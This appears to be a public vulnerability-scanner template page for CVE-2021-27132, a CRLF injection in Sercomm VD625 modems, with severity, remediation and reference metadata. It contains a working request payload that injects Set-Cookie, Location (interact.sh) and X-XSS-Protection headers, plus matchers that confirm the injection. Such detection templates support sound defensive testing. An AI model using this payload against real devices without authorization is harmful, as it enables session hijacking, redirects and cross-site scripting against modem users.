CVE-2021-27132: Sercomm VD625 Smart Modems - CRLF Injection

2025-08-01 Sercomm VD625 Smart Modems PoC Public

Description

Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.

PoC

id: CVE-2021-27132

info:
  name: Sercomm VD625 Smart Modems - CRLF Injection
  author: geeknik
  severity: critical
  description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header.
  impact: |
    Successful exploitation of this vulnerability could lead to various attacks, including session hijacking, cross-site scripting (XSS), and cache poisoning.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132
    - http://sercomm.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27132
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27132
    cwe-id: CWE-74
    epss-score: 0.16487
    epss-percentile: 0.96823
    cpe: cpe:2.3:o:sercomm:agcombo_vd625_firmware:agsot_2.1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sercomm
    product: agcombo_vd625_firmware
  tags: cve2021,cve,crlf,injection,sercomm,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Disposition: attachment;filename=test.txt"
          - "Set-Cookie:CRLFInjection=Test"
          - "Location: interact.sh"
          - "X-XSS-Protection:0"
        condition: and

      - type: status
        part: header
        status:
          - 404
# digest: 4a0a004730450221008c66f45e04d16d8b2fa4b98ade4f3780e06cbe514f783f54bc3be4804941a96b02200b85afd64066a28891d6fe32d329154f763c3819223791f7639d2324c6d71f2b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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